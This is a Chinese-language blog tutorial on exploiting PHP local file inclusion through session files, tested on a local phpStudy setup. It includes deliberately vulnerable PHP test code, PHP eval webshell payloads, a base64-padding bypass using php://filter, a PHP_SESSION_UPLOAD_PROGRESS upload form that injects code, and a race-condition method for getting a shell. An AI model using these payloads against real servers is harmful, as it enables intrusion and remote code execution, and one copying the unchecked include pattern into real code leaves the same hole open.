前言

最近看了一篇文章,感觉挺有意思的,故实操后记录

用户会话

在了解session包含文件漏洞及绕过姿势的时候,我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程,只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。

会话储存

PHP是以文件的形式储存session的,可以在php.ini里面设置session的存储位置session.save_path

我们可以通过phpinfo来查看session.save_path的值(由于我这里的是在phpStudy搭的网站,所以嘛…路径有点奇怪

img

那么默认的路径是什么呢?我们得知道路径才能利用LFL

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

命名格式

如果某个服务器存在session包含漏洞,要想去成功的包含利用的话,首先必须要知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能够正确的去包含该文件。

session的文件名格式为sess_[phpsessid],而phpsessid在cookie中可以查看

img

会话处理

在了解了用户会话的存储下来就需要了解php是如何处理用户的会话信息。php中针对用户会话的处理方式主要取决于服务器在php.ini或代码中对session.serialize_handler的配置。以下是三种处理器储存格式.

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组
# php
username|s:4:"lz2y";

# php_serialize
a:1:{s:8:"username";s:4:"lz2y";}

我们知道,如果不规范使用这几种处理器,在一个文件中使用了两种模式,就很容易产生session反序列化漏洞,之前的博客也记录过,感兴趣的可以看看

LFI Session

介绍了用户会话的存储和处理机制后,我们就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

其中针对LFI Session文件的包含或许是现在见的比较多,简单的理解session文件包含漏洞就是在用户可以控制session文件中的一部分信息,然后将这部分信息变成我们的精心构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。下面通过一个简单的案例演示这个漏洞利用攻击的过程。

测试代码

index.php

<?php

    $file  = $_GET['file'];
    include($file);

?>

session.php

<?php

    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;

?>

漏洞利用

可以看到在session.php中,直接把$username存到session中了,也没进行什么过滤,我们就可以直接写入我们的webshell了

payload

username=<?php eval($_POST[lz2y]);?>

img

可以看到我们的代码已经写进session中了,接下来就可以直接利用了

img

包含限制

在上面我们所介绍的只是一种简单的理想化的漏洞条件,所以你会看到这么简单就利用成功了,但是,事实上在平常我们所遇到的会有很多限制,比如说代码中对用户会话信息做了一定的处理然后才进行存储,这些处理操作常见的包括对用户session信息进行编码或加密等。另外常见的限制比如说服务器代码中没有出现代码session_start();进行会话的初始化操作,这个时候服务器就无法生成用户session文件,攻击者也就没有办法就进行恶意session文件的包含。

下面主要针对这几种session包含限制,利用系统服务或代码本身的缺陷进行探索与利用。

Base64编码

如果对用户session信息进行编码或加密等,我们直接文件包含漏洞直接包含session是没有效果的,一般遇到这种情况,首先想到的肯定是解码/解密来获得原始的session,然后再进行利用啦

这里我们以Base64编码为例,进行绕过

测试代码

修改session.php代码如下:

<?php

    session_start();
    $username = $_POST['username'];
    $_SESSION['username'] = base64_encode($username);
    echo "username:$username";  // 为了方便查看

?>

漏洞利用

按照上面的步骤,把代码写进去

img

发现被转码了,这个时候我们是不能直接利用的,这个时候我们会想怎么让他转码呢,这个时候就可以利用php://filter

file=php://filter/convert.base64-decode/resource=D:\phpStudy_64\phpstudy_pro\Extensions\tmp\tmp\sess_uunoj4j3qbpjkgap16a1a7pf3s

img

打开之后发现是乱码,emmm…貌似以前了解过,这是因为base64解码出错了,我们文件里想要解码的为PD9waHAgZXZhbCgkX1BPU1RbbHoyeV0pOz8+,但是现在解码的时候是把username|s:36:"PD9waHAgZXZhbCgkX1BPU1RbbHoyeV0pOz8+";整体进行解码,编码和解码对应不上,也就成了乱码

Base64编码与解码

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

base64索引表

base64编码与解码的基础索引表如下

img

base64编码原理

(1)base64编码过程

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。

由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。

完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据,所以Base64编码后的数据比原始数据略长,为原来的4/3。

(2)简单编码流程

1)将所有字符转化为ASCII码;

2)将ASCII码转化为8位二进制;

3)将8位二进制3个归成一组(不足3个在后边补0)共24位,再拆分成4组,每组6位;

4)将每组6位的二进制转为十进制;

5)从Base64编码表获取十进制对应的Base64编码;

下面举例对字符串“ABCD”进行base64编码:

img

对于不足6位的补零(图中浅红色的4位),索引为“A”;对于最后不足3字节,进行补零处理(图中红色部分),以“=”替代,因此,“ABCD”的base64编码为:“QUJDRA==”。

base64解码原理

(1)base64解码过程

base64解码,即是base64编码的逆过程,如果理解了编码过程,解码过程也就容易理解。将base64编码数据根据编码表分别索引到编码值,然后每4个编码值一组组成一个24位的数据流,解码为3个字符。对于末尾位“=”的base64数据,最终取得的4字节数据,需要去掉“=”再进行转换。

解码过程可以参考上图,逆向理解:“QUJDRA==” ——>“ABCD”

(2)base64解码特点

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

Bypass "php"

那有没有什么办法可以解决吗?只要把username|s:36:"PD9waHAgZXZhbCgkX1BPU1RbbHoyeV0pOz8+";中的username|s:36:"给正常解码就可以了,我们根据解码原理,除字符(A-Z、a-z、0-9、+、/)外,就是4个字节能够还原原始的3个字节信息,也就是说session前面的这部分数据长度需要满足4的整数倍,如果不满足的话,就会影响session后面真正的base64编码的信息,也就导致上面出现的乱码情况。

username|s:36:",实际能被识别到的就是usernames36,一共11个字节,只要再加上一个就可以了,这里我们可控的就是36这个长度了,只要我们输入的字符转码后长度超过100,就成了username|s💯"(100为我们构造的长度),我们就可以实现了.

# payload可以为:
username=lz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2y<?php eval($_POST[lz2y]);?>

然后接下来的操作就一样的了

img

也可以用蚁剑链接上

img

Bypass "php_serialize"

如果处理器为session.serialize_handler = php_serialize呢?

修改session.php代码为

<?php

    ini_set('session.serialize_handler', 'php_serialize');    
    session_start();
    $username = $_POST['username'];
    $_SESSION['username'] = base64_encode($username);
    echo "username -> $username";

?>

img

查看session

a:1:{s:8:"username";s:36:"PD9waHAgZXZhbCgkX1BPU1RbbHoyeV0pOz8+";}

按照之前的方法,我们需要消去a:1:{s:8:"username";s:36:",能被识别的有a1s8usernames36,一共15,差了一个,那payload和上面应该是一样的

# payload可以为:
username=lz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2ylz2y<?php eval($_POST[lz2y]);?>

No session_start()

一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是,如果一个站点存在LFI漏洞,却没有用户会话那么该怎么去包含session信息呢,我们先来了解一下php.ini的几个配置

img

session.auto_start:顾名思义,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的。

session.upload_progress.enabled = on:默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

session.upload_progress.cleanup = on:默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。

session.upload_progress.prefix = "upload_progress_"

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。

session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

session.upload_progress:php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。 而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。那么,如何利用这个特性呢?

session.use_strict_mode值是0,此时用户是可以自己定义Session ID的。比如,我们在cookie设置PHPSESSID=lz2y,HP将会在服务器上创建一个文件sess_lz2y

查看官方给的案列

PHP_SESSION_UPLOAD_PROGRESS的官方手册

http://php.net/manual/zh/session.upload-progress.php

一个上传进度数组的结构的例子

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

我们可以自己试一下存储形式,我们先把session.upload_progress.cleanup设置为Off,再创建文件

file.html

<form action="index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="lz2y" />
        <input type="file" name="file" />
        <input type="submit" />
</form>

然后尝试上传文件,然后发现会产生session

upload_progress_lz2y|a:5:
{
s:10:"start_time";i:1587545339;
s:14:"content_length";i:1593;
s:15:"bytes_processed";i:1593;
s:4:"done";b:1;
s:5:"files";a:1:{i:0;a:7{s:10:"field_name";s:4:"file";s:4:"name";s:7:"sql.txt";s:8:"tmp_name";s:22:"C:\Windows\phpF2EA.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1587545339;s:15:"bytes_processed";i:1294;}}}

可以发现,如果我们POST了一个与INI中设置的session.upload_progress.name同名变量(默认为PHP_SESSION_UPLOAD_PROGRESS时,php会为我们自动启用session,创建一个文件,并在SESSION中添加一组数据,索引成了upload_progre+我们传入的value=lz2y,这里的lz2y是我们可以控制的,可以写入恶意代码,但是我们怎么知道session的文件名的?

因为session.use_strict_mode默认为0,我们可以自己定义Session ID的。我们可以在上传完一次文件后(会生成一个session,就不用我们自己构建),修改PHPSESSIDlz2y,然后再上传一次,就会在存储session的文件夹中产生sess_lz2y的文件了

修改file.html,上传文件后,发现我们的写进去了

<form action="index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
        <input type="file" name="file" />
        <input type="submit" />
</form>

img

然后利用文件包含漏洞可以Getshell了(修改我们传入的恶意代码即可),写入一句话木马也是可以的

img

条件竞争

以上貌似很不错,但是在默认情况下session.upload_progress.cleanup = on,也就是说它会自动在文件上传完成时删除这个上传状态,这个时候我们会很自然的想到条件竞争,只要我们足够快,你就删不干净,我照样可以利用

这个时候就可以用我们的burpsuite了,不断地发包,我们不断地请求,就能照样Getshell了

img

写入一句话用菜刀连接这些操作就不在这里累赘了,都可以通过条件竞争实现只要我够快,你就追不上我

参考链接

https://www.anquanke.com/post/id/201177#h2-18

为了确保语言的准确性,引用了部分原文

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...